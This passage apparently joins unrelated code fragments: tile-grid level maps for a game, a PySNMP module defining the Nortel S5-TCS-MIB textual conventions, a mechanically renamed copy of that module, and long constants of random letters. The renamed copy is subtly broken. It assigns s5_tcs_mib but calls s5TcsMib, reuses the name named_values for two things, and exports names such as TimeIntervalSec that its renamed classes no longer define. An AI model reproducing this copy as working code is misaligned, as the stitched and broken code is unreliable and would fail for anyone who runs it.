["b2","b2","b2","b2","mb2","mb4","mb6","b2","b2","b2","b2"], ["b2","e1","b2","b2","mb1","mb3","mb5","b2","b2","e1","b2"], ["b2","b2","b2","b2","mb2","mb4","mb6","b2","b2","b2","b2"]]), #level 3-1 ("g1","f33",[["v","v","v","v","m3","m3","m3","v","v","v","v"], ["v","v","m3","m3","e1","m5","b3","m3","m3","v","v"], ["v","m3","b3","m5","b3","b3","b3","b3","b3","m3","v"], ["v","m3","b3","b3","b3","m5","b3","m5","b3","m3","v"], ["m3","m5","b3","m5","b3","p1","b3","m5","b3","b3","m3"], ["m3","b3","b3","m5","b3","m5","b3","m5","m5","e1","m3"], ["v","m3","m5","b3","m5","b3","b3","b3","b3","m3","v"], ["v","m3","e1","b3","b3","m5","b3","m5","b3","m3","v"], ["v","v","m3","m3","b3","b3","b3","m3","m3","v","v"], ["v","v","v","v","m3","m3","m3","v","v","v","v"]]), #level 3-2 ("g1","f33",[["v","v","v","v","m3","m3","m3","v","v","v","v"], ["v","v","m3","m3","b3","e1","b3","m3","m3","v","v"], ["v","m3","b3","b3","b3","m5","b3","b3","b3","m3","v"], ["v","m3","b3","m5","m5","m5","m5","m5","b3","m3","v"], ["m3","e1","b3","b3","m5","p1","b3","b3","b3","e1","m3"], ["m3","e1","b3","b3","b3","b3","m5","b3","b3","e1","m3"], ["v","m3","b3","m5","m5","m5","m5","m5","b3","m3","v"], ["v","m3","b3","b3","b3","m5","b3","b3","b3","m3","v"], ["v","v","m3","m3","b3","e1","b3","m3","m3","v","v"], ["v","v","v","v","m3","m3","m3","v","v","v","v"]]), #level 3-3 ("g1","f33",[["v","v","v","v","m3","m3","m3","v","v","v","v"], ["v","v","m3","m3","m5","e1","b3","m3","m3","v","v"], ["v","m3","e1","b3","b3","m5","b3","b3","e1","m3","v"], ["v","m3","m5","m5","b3","m5","b3","m5","m5","m3","v"], ["m3","m5","b3","b3","b3","p1","b3","m5","b3","e1","m3"], ["m3","e1","b3","m5","b3","b3","b3","b3","b3","m5","m3"], ["v","m3","m5","m5","b3","m5","b3","m5","m5","m3","v"], ["v","m3","e1","b3","b3","m5","b3","b3","e1","m3","v"], ["v","v","m3","m3","b3","e1","m5","m3","m3","v","v"], ["v","v","v","v","m3","m3","m3","v","v","v","v"]])]
levels_map = [('g1', 'f1', [['ma1', 'ma3', 'ma5', 'b1', 'm1', 'e1', 'm1', 'b1', 'ma1', 'ma3', 'ma5'], ['ma2', 'ma4', 'ma6', 'b1', 'b1', 'b1', 'b1', 'b1', 'ma2', 'ma4', 'ma6'], ['b1', 'b1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'b1', 'b1'], ['m1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'm1'], ['b1', 'b1', 'm1', 'b1', 'ma1', 'ma3', 'ma5', 'b1', 'm1', 'b1', 'b1'], ['b1', 'b1', 'm1', 'b1', 'ma2', 'ma4', 'ma6', 'p1', 'm1', 'b1', 'b1'], ['m1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'm1'], ['b1', 'b1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'b1', 'b1'], ['ma1', 'ma3', 'ma5', 'b1', 'b1', 'b1', 'b1', 'b1', 'ma1', 'ma3', 'ma5'], ['ma2', 'ma4', 'ma6', 'b1', 'm1', 'e1', 'm1', 'b1', 'ma2', 'ma4', 'ma6']]), ('g1', 'f1', [['e1', 'b1', 'b1', 'b1', 'm1', 'b1', 'm1', 'b1', 'b1', 'b1', 'b1'], ['b1', 'm1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'm1', 'b1'], ['b1', 'm1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'm1', 'b1'], ['b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1'], ['m1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'm1'], ['m1', 'm1', 'b1', 'm1', 'b1', 'm1', 'p1', 'm1', 'b1', 'm1', 'm1'], ['b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1'], ['b1', 'm1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'm1', 'b1'], ['b1', 'm1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'm1', 'b1'], ['b1', 'b1', 'b1', 'b1', 'm1', 'b1', 'm1', 'b1', 'b1', 'b1', 'e1']]), ('g1', 'f1', [['b1', 'b1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1'], ['b1', 'm1', 'e1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'm1', 'b1'], ['b1', 'm1', 'b1', 'm1', 'b1', 'm1', 'b1', 'ma1', 'ma3', 'ma5', 'b1'], ['b1', 'ma1', 'ma3', 'ma5', 'b1', 'b1', 'b1', 'ma2', 'ma4', 'ma6', 'b1'], ['b1', 'ma2', 'ma4', 'ma6', 'b1', 'm1', 'p1', 'b1', 'b1', 'b1', 'b1'], ['b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'm1', 'b1', 'm1', 'm1', 'b1'], ['b1', 'm1', 'e1', 'm1', 'b1', 'm1', 'b1', 'b1', 'b1', 'e1', 'm1'], ['b1', 'b1', 'm1', 'b1', 'm1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1'], ['b1', 'm1', 'm1', 'b1', 'm1', 'b1', 'ma1', 'ma3', 'ma5', 'b1', 'b1'], ['b1', 'm1', 'm1', 'b1', 'm1', 'b1', 'ma2', 'ma4', 'ma6', 'b1', 'm1'], ['b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1']]), ('g1', 'f2', [['e1', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'e1'], ['b2', 'b2', 'b2', 'b2', 'm2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2'], ['mb1', 'mb3', 'mb5', 'b2', 'b2', 'b2', 'm2', 'b2', 'mb1', 'mb3', 'mb5'], ['mb2', 'mb4', 'mb6', 'b2', 'b2', 'b2', 'b2', 'b2', 'mb2', 'mb4', 'mb6'], ['b2', 'm2', 'b2', 'b2', 'mb1', 'mb3', 'mb5', 'b2', 'b2', 'm2', 'm2'], ['b2', 'b2', 'b2', 'b2', 'mb2', 'mb4', 'mb6', 'b2', 'b2', 'b2', 'b2'], ['mb1', 'mb3', 'mb5', 'b2', 'b2', 'm2', 'b2', 'b2', 'mb1', 'mb3', 'mb5'], ['mb2', 'mb4', 'mb6', 'b2', 'b2', 'b2', 'b2', 'b2', 'mb2', 'mb4', 'mb6'], ['b2', 'b2', 'm2', 'b2', 'b2', 'b2', 'b2', 'm2', 'b2', 'b2', 'b2'], ['e1', 'b2', 'b2', 'b2', 'b2', 'p1', 'b2', 'b2', 'b2', 'b2', 'e1']]), ('g1', 'f2', [['e1', 'm2', 'm2', 'b2', 'm2', 'p1', 'm2', 'b2', 'm2', 'm2', 'b2'], ['b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2'], ['m2', 'm2', 'b2', 'm2', 'm2', 'b2', 'm2', 'm2', 'e1', 'm2', 'm2'], ['b2', 'b2', 'b2', 'b2', 'b2', 'm2', 'b2', 'b2', 'b2', 'b2', 'b2'], ['b2', 'm2', 'm2', 'b2', 'm2', 'm2', 'b2', 'm2', 'm2', 'b2', 'm2'], ['e1', 'm2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2'], ['m2', 'b2', 'm2', 'm2', 'b2', 'm2', 'm2', 'b2', 'm2', 'm2', 'b2'], ['b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'm2', 'b2', 'b2', 'm2', 'b2'], ['m2', 'm2', 'b2', 'm2', 'm2', 'b2', 'm2', 'm2', 'b2', 'm2', 'm2'], ['e1', 'b2', 'b2', 'm2', 'b2', 'b2', 'e1', 'm2', 'b2', 'b2', 'e1']]), ('g1', 'f2', [['b2', 'b2', 'b2', 'b2', 'mb1', 'mb3', 'mb5', 'b2', 'b2', 'b2', 'b2'], ['b2', 'e1', 'b2', 'b2', 'mb2', 'mb4', 'mb6', 'b2', 'b2', 'e1', 'b2'], ['b2', 'b2', 'b2', 'b2', 'mb1', 'mb3', 'mb5', 'b2', 'b2', 'b2', 'b2'], ['b2', 'b2', 'b2', 'b2', 'mb2', 'mb4', 'mb6', 'b2', 'b2', 'b2', 'b2'], ['mb1', 'mb3', 'mb5', 'b2', 'b2', 'b2', 'b2', 'b2', 'mb1', 'mb3', 'mb5'], ['mb2', 'mb4', 'mb6', 'b2', 'b2', 'p1', 'b2', 'b2', 'mb2', 'mb4', 'mb6'], ['b2', 'b2', 'b2', 'b2', 'mb1', 'mb3', 'mb5', 'b2', 'b2', 'b2', 'b2'], ['b2', 'b2', 'b2', 'b2', 'mb2', 'mb4', 'mb6', 'b2', 'b2', 'b2', 'b2'], ['b2', 'e1', 'b2', 'b2', 'mb1', 'mb3', 'mb5', 'b2', 'b2', 'e1', 'b2'], ['b2', 'b2', 'b2', 'b2', 'mb2', 'mb4', 'mb6', 'b2', 'b2', 'b2', 'b2']]), ('g1', 'f33', [['v', 'v', 'v', 'v', 'm3', 'm3', 'm3', 'v', 'v', 'v', 'v'], ['v', 'v', 'm3', 'm3', 'e1', 'm5', 'b3', 'm3', 'm3', 'v', 'v'], ['v', 'm3', 'b3', 'm5', 'b3', 'b3', 'b3', 'b3', 'b3', 'm3', 'v'], ['v', 'm3', 'b3', 'b3', 'b3', 'm5', 'b3', 'm5', 'b3', 'm3', 'v'], ['m3', 'm5', 'b3', 'm5', 'b3', 'p1', 'b3', 'm5', 'b3', 'b3', 'm3'], ['m3', 'b3', 'b3', 'm5', 'b3', 'm5', 'b3', 'm5', 'm5', 'e1', 'm3'], ['v', 'm3', 'm5', 'b3', 'm5', 'b3', 'b3', 'b3', 'b3', 'm3', 'v'], ['v', 'm3', 'e1', 'b3', 'b3', 'm5', 'b3', 'm5', 'b3', 'm3', 'v'], ['v', 'v', 'm3', 'm3', 'b3', 'b3', 'b3', 'm3', 'm3', 'v', 'v'], ['v', 'v', 'v', 'v', 'm3', 'm3', 'm3', 'v', 'v', 'v', 'v']]), ('g1', 'f33', [['v', 'v', 'v', 'v', 'm3', 'm3', 'm3', 'v', 'v', 'v', 'v'], ['v', 'v', 'm3', 'm3', 'b3', 'e1', 'b3', 'm3', 'm3', 'v', 'v'], ['v', 'm3', 'b3', 'b3', 'b3', 'm5', 'b3', 'b3', 'b3', 'm3', 'v'], ['v', 'm3', 'b3', 'm5', 'm5', 'm5', 'm5', 'm5', 'b3', 'm3', 'v'], ['m3', 'e1', 'b3', 'b3', 'm5', 'p1', 'b3', 'b3', 'b3', 'e1', 'm3'], ['m3', 'e1', 'b3', 'b3', 'b3', 'b3', 'm5', 'b3', 'b3', 'e1', 'm3'], ['v', 'm3', 'b3', 'm5', 'm5', 'm5', 'm5', 'm5', 'b3', 'm3', 'v'], ['v', 'm3', 'b3', 'b3', 'b3', 'm5', 'b3', 'b3', 'b3', 'm3', 'v'], ['v', 'v', 'm3', 'm3', 'b3', 'e1', 'b3', 'm3', 'm3', 'v', 'v'], ['v', 'v', 'v', 'v', 'm3', 'm3', 'm3', 'v', 'v', 'v', 'v']]), ('g1', 'f33', [['v', 'v', 'v', 'v', 'm3', 'm3', 'm3', 'v', 'v', 'v', 'v'], ['v', 'v', 'm3', 'm3', 'm5', 'e1', 'b3', 'm3', 'm3', 'v', 'v'], ['v', 'm3', 'e1', 'b3', 'b3', 'm5', 'b3', 'b3', 'e1', 'm3', 'v'], ['v', 'm3', 'm5', 'm5', 'b3', 'm5', 'b3', 'm5', 'm5', 'm3', 'v'], ['m3', 'm5', 'b3', 'b3', 'b3', 'p1', 'b3', 'm5', 'b3', 'e1', 'm3'], ['m3', 'e1', 'b3', 'm5', 'b3', 'b3', 'b3', 'b3', 'b3', 'm5', 'm3'], ['v', 'm3', 'm5', 'm5', 'b3', 'm5', 'b3', 'm5', 'm5', 'm3', 'v'], ['v', 'm3', 'e1', 'b3', 'b3', 'm5', 'b3', 'b3', 'e1', 'm3', 'v'], ['v', 'v', 'm3', 'm3', 'b3', 'e1', 'm5', 'm3', 'm3', 'v', 'v'], ['v', 'v', 'v', 'v', 'm3', 'm3', 'm3', 'v', 'v', 'v', 'v']])]
# # PySNMP MIB module S5-TCS-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/S5-TCS-MIB # Produced by pysmi-0.3.4 at Wed May 1 11:35:57 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # OctetString, ObjectIdentifier, Integer = mibBuilder.importSymbols("ASN1", "OctetString", "ObjectIdentifier", "Integer") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") SingleValueConstraint, ConstraintsIntersection, ValueSizeConstraint, ValueRangeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ConstraintsIntersection", "ValueSizeConstraint", "ValueRangeConstraint", "ConstraintsUnion") s5Tcs, = mibBuilder.importSymbols("S5-ROOT-MIB", "s5Tcs") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") ModuleIdentity, Counter64, NotificationType, Unsigned32, Gauge32, MibScalar, MibTable, MibTableRow, MibTableColumn, ObjectIdentity, MibIdentifier, Bits, Counter32, iso, TimeTicks, Integer32, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "ModuleIdentity", "Counter64", "NotificationType", "Unsigned32", "Gauge32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ObjectIdentity", "MibIdentifier", "Bits", "Counter32", "iso", "TimeTicks", "Integer32", "IpAddress") TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString") s5TcsMib = ModuleIdentity((1, 3, 6, 1, 4, 1, 45, 1, 6, 17, 0)) s5TcsMib.setRevisions(('2013-10-10 00:00', '2004-07-20 00:00',)) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): if mibBuilder.loadTexts: s5TcsMib.setRevisionsDescriptions(('Version 114: Add Integer32 to IMPORTS.', 'Version 113: Conversion to SMIv2',)) if mibBuilder.loadTexts: s5TcsMib.setLastUpdated('201310100000Z') if mibBuilder.loadTexts: s5TcsMib.setOrganization('Nortel Networks') if mibBuilder.loadTexts: s5TcsMib.setContactInfo('Nortel Networks') if mibBuilder.loadTexts: s5TcsMib.setDescription("5000 Common Textual Conventions MIB Copyright 1993-2004 Nortel Networks, Inc. All rights reserved. This Nortel Networks SNMP Management Information Base Specification (Specification) embodies Nortel Networks' confidential and proprietary intellectual property. Nortel Networks retains all title and ownership in the Specification, including any revisions. This Specification is supplied 'AS IS,' and Nortel Networks makes no warranty, either express or implied, as to the use, operation, condition, or performance of the Specification.") class IpxAddress(TextualConvention, OctetString): description = "A textual convention for IPX addresses. The first four bytes are the network number in 'network order'. The last 6 bytes are the MAC address." status = 'current' subtypeSpec = OctetString.subtypeSpec + ValueSizeConstraint(10, 10) fixedLength = 10 class TimeIntervalHrd(TextualConvention, Integer32): description = 'A textual convention for a period of time measured in units of 0.01 seconds.' status = 'current' class TimeIntervalSec(TextualConvention, Integer32): description = 'A textual convention for a period of time measured in units of seconds.' status = 'current' class SrcIndx(TextualConvention, Integer32): description = "A textual convention for an Index of a 'source'. The values are encoded so that the same MIB object can be used to describe the same type of data, but from different sources. For the 5000 Chassis, this is encoded in the following base 10 fields: 1bbiii - identifies an interface on an NMM where 'bb' is the board index and 'iii' is the interface number. 2bbppp - identifies a connectivity port on a board where 'bb' is the board INDEX and 'ppp' is the port INDEX. 3bblll - identifies a local channel on a board where 'bb' is the board INDEX and 'll' is the local channel INDEX. 4bbccc - identifies a cluster on a board where 'bb' is the board INDEX and 'cc' is the cluster INDEX. 5bbfff - identifies a FPU on a board where 'bb' is the board INDEX, and 'fff' is the FPU INDEX. 6bbnnn - identifies host board backplane counters where 'bb' is the board INDEX, and 'nnn' is the segment INDEX. 7bbccc - identifies a NULL segment on a board where 'bb' is the board INDEX, and 'ccc' is the cluster INDEX. 8mmnnn - identifies a sum across all host board(s) connected to a given backplane segment where 'mm' is media type, and 'nnn' is the segment INDEX. (NOTE: This is currently only valid for Ethernet.)" status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 999999) class MediaType(TextualConvention, Integer32): description = 'A textual convention for Media types' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4)) namedValues = NamedValues(("other", 1), ("eth", 2), ("tok", 3), ("fddi", 4)) class FddiBkNetMode(TextualConvention, Integer32): description = 'The FDDI backplane mode.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4)) namedValues = NamedValues(("other", 1), ("thruLow", 2), ("thruHigh", 3), ("thruLowThruHigh", 4)) class BkNetId(TextualConvention, Integer32): description = 'The backplane network ID. This is a numeric assignment made to a backplane channel, a piece of a divided backplane channel, or a grouping of several backplane channels (which is done for FDDI). The number (and values) of the backplane networks is determined by the setting of the channel divider(s) which split some or all the backplane channels into networks, and by grouping when allowed by the media (such as FDDI). Different media and backplane implementations may have a divider or not. Also, there may be different mappings of backplane network IDs to a divided (or undivided) backplane channel. Note to agent implementors - you must map the divided (or undivided) backplane channel to the numbering here based on the setting of the backplane channel divider(s), and/or the grouping of the channels for FDDI.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 255) class BkChan(TextualConvention, Integer32): description = 'The physical backplane channel identification. This does not change when a backplane is divided. A value of zero means no channel. Otherwise, the channels are numbered starting at one.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 255) class LocChan(TextualConvention, Integer32): description = 'The physical local channel identification. A value of zero means no channel. Otherwise, the channels are numbered starting at one.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 255) class AttId(TextualConvention, Integer32): description = 'The attachment ID. This is either a backplane network ID, a local channel, or as an indication of no backplane network attachment. Negative numbers are used to identify local channels on a board. Where used, the board must also be specified (or implied). A value of zero is used to indicate no (or null) attachment. Positive numbers are the backplane network IDs. The number (and values) of the backplane networks is determined by the setting of the channel divider(s) which split some or all the backplane channels into backplane networks, and by grouping when allowed by the media (such as FDDI). Different media and implementations may have a divider or not. Also, there may be different mappings of backplane network IDs to a divided (or undivided) backplane channel. Note to agent implementors - you must map the divided (or undivided) backplane channel to the numbering here based on the setting of the backplane channel divider(s), and/or the grouping of the channels for FDDI.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(-255, 255) mibBuilder.exportSymbols("S5-TCS-MIB", TimeIntervalSec=TimeIntervalSec, MediaType=MediaType, IpxAddress=IpxAddress, TimeIntervalHrd=TimeIntervalHrd, LocChan=LocChan, SrcIndx=SrcIndx, AttId=AttId, PYSNMP_MODULE_ID=s5TcsMib, s5TcsMib=s5TcsMib, BkNetId=BkNetId, FddiBkNetMode=FddiBkNetMode, BkChan=BkChan)
(octet_string, object_identifier, integer) = mibBuilder.importSymbols('ASN1', 'OctetString', 'ObjectIdentifier', 'Integer') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (single_value_constraint, constraints_intersection, value_size_constraint, value_range_constraint, constraints_union) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'SingleValueConstraint', 'ConstraintsIntersection', 'ValueSizeConstraint', 'ValueRangeConstraint', 'ConstraintsUnion') (s5_tcs,) = mibBuilder.importSymbols('S5-ROOT-MIB', 's5Tcs') (notification_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ModuleCompliance') (module_identity, counter64, notification_type, unsigned32, gauge32, mib_scalar, mib_table, mib_table_row, mib_table_column, object_identity, mib_identifier, bits, counter32, iso, time_ticks, integer32, ip_address) = mibBuilder.importSymbols('SNMPv2-SMI', 'ModuleIdentity', 'Counter64', 'NotificationType', 'Unsigned32', 'Gauge32', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'ObjectIdentity', 'MibIdentifier', 'Bits', 'Counter32', 'iso', 'TimeTicks', 'Integer32', 'IpAddress') (textual_convention, display_string) = mibBuilder.importSymbols('SNMPv2-TC', 'TextualConvention', 'DisplayString') s5_tcs_mib = module_identity((1, 3, 6, 1, 4, 1, 45, 1, 6, 17, 0)) s5TcsMib.setRevisions(('2013-10-10 00:00', '2004-07-20 00:00')) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): if mibBuilder.loadTexts: s5TcsMib.setRevisionsDescriptions(('Version 114: Add Integer32 to IMPORTS.', 'Version 113: Conversion to SMIv2')) if mibBuilder.loadTexts: s5TcsMib.setLastUpdated('201310100000Z') if mibBuilder.loadTexts: s5TcsMib.setOrganization('Nortel Networks') if mibBuilder.loadTexts: s5TcsMib.setContactInfo('Nortel Networks') if mibBuilder.loadTexts: s5TcsMib.setDescription("5000 Common Textual Conventions MIB Copyright 1993-2004 Nortel Networks, Inc. All rights reserved. This Nortel Networks SNMP Management Information Base Specification (Specification) embodies Nortel Networks' confidential and proprietary intellectual property. Nortel Networks retains all title and ownership in the Specification, including any revisions. This Specification is supplied 'AS IS,' and Nortel Networks makes no warranty, either express or implied, as to the use, operation, condition, or performance of the Specification.") class Ipxaddress(TextualConvention, OctetString): description = "A textual convention for IPX addresses. The first four bytes are the network number in 'network order'. The last 6 bytes are the MAC address." status = 'current' subtype_spec = OctetString.subtypeSpec + value_size_constraint(10, 10) fixed_length = 10 class Timeintervalhrd(TextualConvention, Integer32): description = 'A textual convention for a period of time measured in units of 0.01 seconds.' status = 'current' class Timeintervalsec(TextualConvention, Integer32): description = 'A textual convention for a period of time measured in units of seconds.' status = 'current' class Srcindx(TextualConvention, Integer32): description = "A textual convention for an Index of a 'source'. The values are encoded so that the same MIB object can be used to describe the same type of data, but from different sources. For the 5000 Chassis, this is encoded in the following base 10 fields: 1bbiii - identifies an interface on an NMM where 'bb' is the board index and 'iii' is the interface number. 2bbppp - identifies a connectivity port on a board where 'bb' is the board INDEX and 'ppp' is the port INDEX. 3bblll - identifies a local channel on a board where 'bb' is the board INDEX and 'll' is the local channel INDEX. 4bbccc - identifies a cluster on a board where 'bb' is the board INDEX and 'cc' is the cluster INDEX. 5bbfff - identifies a FPU on a board where 'bb' is the board INDEX, and 'fff' is the FPU INDEX. 6bbnnn - identifies host board backplane counters where 'bb' is the board INDEX, and 'nnn' is the segment INDEX. 7bbccc - identifies a NULL segment on a board where 'bb' is the board INDEX, and 'ccc' is the cluster INDEX. 8mmnnn - identifies a sum across all host board(s) connected to a given backplane segment where 'mm' is media type, and 'nnn' is the segment INDEX. (NOTE: This is currently only valid for Ethernet.)" status = 'current' subtype_spec = Integer32.subtypeSpec + value_range_constraint(1, 999999) class Mediatype(TextualConvention, Integer32): description = 'A textual convention for Media types' status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3, 4)) named_values = named_values(('other', 1), ('eth', 2), ('tok', 3), ('fddi', 4)) class Fddibknetmode(TextualConvention, Integer32): description = 'The FDDI backplane mode.' status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3, 4)) named_values = named_values(('other', 1), ('thruLow', 2), ('thruHigh', 3), ('thruLowThruHigh', 4)) class Bknetid(TextualConvention, Integer32): description = 'The backplane network ID. This is a numeric assignment made to a backplane channel, a piece of a divided backplane channel, or a grouping of several backplane channels (which is done for FDDI). The number (and values) of the backplane networks is determined by the setting of the channel divider(s) which split some or all the backplane channels into networks, and by grouping when allowed by the media (such as FDDI). Different media and backplane implementations may have a divider or not. Also, there may be different mappings of backplane network IDs to a divided (or undivided) backplane channel. Note to agent implementors - you must map the divided (or undivided) backplane channel to the numbering here based on the setting of the backplane channel divider(s), and/or the grouping of the channels for FDDI.' status = 'current' subtype_spec = Integer32.subtypeSpec + value_range_constraint(1, 255) class Bkchan(TextualConvention, Integer32): description = 'The physical backplane channel identification. This does not change when a backplane is divided. A value of zero means no channel. Otherwise, the channels are numbered starting at one.' status = 'current' subtype_spec = Integer32.subtypeSpec + value_range_constraint(0, 255) class Locchan(TextualConvention, Integer32): description = 'The physical local channel identification. A value of zero means no channel. Otherwise, the channels are numbered starting at one.' status = 'current' subtype_spec = Integer32.subtypeSpec + value_range_constraint(0, 255) class Attid(TextualConvention, Integer32): description = 'The attachment ID. This is either a backplane network ID, a local channel, or as an indication of no backplane network attachment. Negative numbers are used to identify local channels on a board. Where used, the board must also be specified (or implied). A value of zero is used to indicate no (or null) attachment. Positive numbers are the backplane network IDs. The number (and values) of the backplane networks is determined by the setting of the channel divider(s) which split some or all the backplane channels into backplane networks, and by grouping when allowed by the media (such as FDDI). Different media and implementations may have a divider or not. Also, there may be different mappings of backplane network IDs to a divided (or undivided) backplane channel. Note to agent implementors - you must map the divided (or undivided) backplane channel to the numbering here based on the setting of the backplane channel divider(s), and/or the grouping of the channels for FDDI.' status = 'current' subtype_spec = Integer32.subtypeSpec + value_range_constraint(-255, 255) mibBuilder.exportSymbols('S5-TCS-MIB', TimeIntervalSec=TimeIntervalSec, MediaType=MediaType, IpxAddress=IpxAddress, TimeIntervalHrd=TimeIntervalHrd, LocChan=LocChan, SrcIndx=SrcIndx, AttId=AttId, PYSNMP_MODULE_ID=s5TcsMib, s5TcsMib=s5TcsMib, BkNetId=BkNetId, FddiBkNetMode=FddiBkNetMode, BkChan=BkChan)
STRING_51_CHARS = "SFOTYFUZTMDSOULXMKVFDOBQWNBAVGANMVLXQQZZQZQHBLJRZNY" STRING_301_CHARS = ( "ZFOMVKXETILJKBZPVKOYAUPNYWWWUICNEVXVPWNAMGCNHDBRMATGPMUHUZHUJKFWWLXBQXVDNCGJHAPKEK" "DZCXKBXEHWCWBYDIGNYXTOFWWNLPBTVIGTNQKIQDHUAHZPWQDKKCHERBYKLAUOOKJXJJLGOPSCRVEHCOAD" "BFYKJTXHMPPYWQVXCVGNNSXLNIHVKTVMEOIRXQDPLHIDZBAHUEDWXKXILEBOLILOYGZLNGCNXKWMFJWYYI" "PIDUKJVGKTUERTPRMMMVZNAAOMZJFXFSEENCAMBOUJMYXTPHJEOPKDB" ) STRING_3001_CHARS = ( "UJSUOROQMIMCCCGFHQJVJXBCPWAOIMVOIIPFZGIZOBZWJHQLIABTGHXJMYVWYCFUIOWMVLJPJOHDVZRHUE" "SVNQTHGXFKMGNBPRALVWQEYTFBKKKFUONDFRALDRZHKPGTWZAXOUFQJKOGTMYSFEDBEQQXIGKZMXNKDCEN" "LSVHNGWVCIDMNSIZTBWBBVUMLPHRUCIZLZBFEGNFXZNJEZBUTNHNCYWWYSJSJDNOPPGHUPZLPJWDKEATZO" "UGKZEGFTFBGZDNRITDFBDJLYDGETUHBDGFEELBJBDMSRBVFPXMRJXWULONCZRZZBNFOPARFNXPQONKEIKG" "QDPJWCMGYSEIBAOLJNWPJVUSMJGCSQBLGZCWXJOYJHIZMNFMTLUQFGEBOONOZMGBWORFEUGYIUJAKLVAJZ" "FTNOPOZNMUJPWRMGPKNQSBMZQRJXLRQJPYYUXLFUPICAFTXDTQIUOQRCSLWPHHUZAOPVTBRCXWUIXMFGYT" "RBKPWJJXNQPLIAZAOKIMDWCDZABPLNOXYOZZBTHSDIPXXBKXKOSYYCITFSMNVIOCNGEMRKRBPCLBOCXBZQ" "VVWKNJBPWQNJOJWAGAIBOBFRVDWLXVBLMBSXYLOAWMPLKJOVHABNNIFTKTKBIIBOSHYQZRUFPPPRDQPMUV" "WMSWBLRUHKEMUFHIMZRUNNITKWYIWRXYPGFPXMNOABRWXGQFCWOYMMBYRQQLOIBFENIZBUIWLMDTIXCPXW" "NNHBSRPSMCQIMYRCFCPLQQGVOHYZOUGFEXDTOETUKQAXOCNGYBYPYWDQHYOKPCCORGRNHXZAAYYZGSWWGS" "CMJVCTAJUOMIMYRSVQGGPHCENXHLNFJJOEKIQWNYKBGKBMBJSFKKKYEPVXMOTAGFECZWQGVAEXHIAKTWYO" "WFYMDMNNHWZGBHDEXYGRYQVXQXZJYAWLJLWUGQGPHAYJWJQWRQZBNAMNGEPVPPUMOFTOZNYLEXLWWUTABR" "OLHPFFSWTZGYPAZJXRRPATWXKRDFQJRAEOBFNIWVZDKLNYXUFBOAWSDSKFYYRTADBBYHEWNZSTDXAAOQCD" "WARSJZONQXRACMNBXZSEWZYBWADNDVRXBNJPJZQUNDYLBASCLCPFJWAMJUQAHBUZYDTIQPBPNJVVOHISZP" "VGBDNXFIHYCABTSVNVILZUPPZXMPPZVBRTRHDGHTXXLBIYTMRDOUBYBVHVVKQAXAKISFJNUTRZKOCACJAX" "ZXRRKMFOKYBHFUDBIXFAQSNUTYFNVQNGYWPJZGTLQUMOWXKKTUZGOUXAOVLQMMNKKECQCCOBNPPPXZYWZU" "WHLHZQDIETDDPXWTILXGAYJKPHBXPLRFDPDSHFUPOIWRQDWQQNARPHPVKJPXZGGXOUVBYZSLUPVIJKWKNF" "WMFKWYSYJJCCSCALMVPYIPHDKRXOWTUAYJFTAANCTVYDNSSIHGCWGKLDHFFBFSIFBMGHHFHZQSWOWZXOUW" 